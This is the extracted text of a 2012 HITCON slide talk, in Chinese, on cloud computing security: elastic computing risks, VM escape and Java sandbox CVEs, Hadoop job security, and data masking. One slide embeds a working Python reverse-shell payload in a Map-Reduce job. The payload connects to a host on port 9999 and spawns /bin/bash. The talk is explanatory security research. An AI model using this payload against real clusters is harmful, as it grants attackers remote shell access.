2013年[2012 HITCON]深入浅出云计算安全.pptVIP

深入浅出云计算安全 吴翰清 2012-07 Who am I? Alibaba security (7 years) (3个月，1w册) icloud是云吗？ 互联网未来的入口 随时随地上网 改变了使用互联网的方式 但这不是传统意义的云计算 云计算的前世今生 电厂模式 Utility Computing 网格计算 云计算 1875,巴黎 1961,麦肯锡 1990’S, Ian Foster 2006, Amazon 云计算的使命 Computing as Utility 两种云计算 弹性计算 海量数据计算 弹性计算改变建站方式 按需使用，按需付费 专业运维服务化 快速部署，自助开通 互联网的长尾用户 中小站长、创业者 运营商、政府、公安、金融 “奢侈品”变成“消费品” 弹性计算冲击安全产业 “销售模式”变成“互联网模式” Security as a Service 结论：变革的浪潮就在眼前 弹性计算的安全挑战 巨大的共享环境 网络安全问题 虚拟化技术安全问题 全虚拟化、半虚拟化、操作系统级虚拟化 虚拟机逃逸问题 (CVE-2011-1898) D.O.S. Host xx XEN的DOS AppEngine的环境安全 Java sandbox PHP sandbox 语言级沙箱 系统级沙箱 CVE-2012-0507 Attacking java security manager 突破java sandbox 弹性计算的网络安全 防火墙API 防止ARP 欺骗、srcip伪造 自动化清洗DDOS 海量数据计算的安全 以hadoop为例 Map-Reduce简介 海量数据计算的安全挑战 保护用户数据 隐私数据 互联网公司使用hadoop的方式 共享”gateway”的问题 /home: Hacking Hadoop 原始数据的导入计算结果的导出 运行环境安全 并不仅仅是认证与授权 Map-Reduce job/UDF String pysh = #!/bin/sh\r\npython -c \import os;import sys;import socket;s=socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname(10.x.x.x),9999));s.send(Welcome my master\\r\\n);os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send(Is there a shell?\\r\\n);os.system(/bin/bash);s.close();s.send(See u next time!\\r\\n);\; DEMO 如何解决隐私问题？ 张三 男 北京市一号胡同 李四 女 天津市二号小区 Data Masking 保留统计信息，掩盖个人信息 张A 男 1330749xxxx 李C 女 1346665yyyy 北京市ABCD胡同 43010419990909MMM1 天津市EFGH小区 42010519880808NNN4 总结 云计算改变互联网 弹性计算的环境安全、网络安全 海量数据计算的数据安全、隐私问题 Question? 联系我 微博 /n/aullik5 /aullik5 博客 /new/aullik5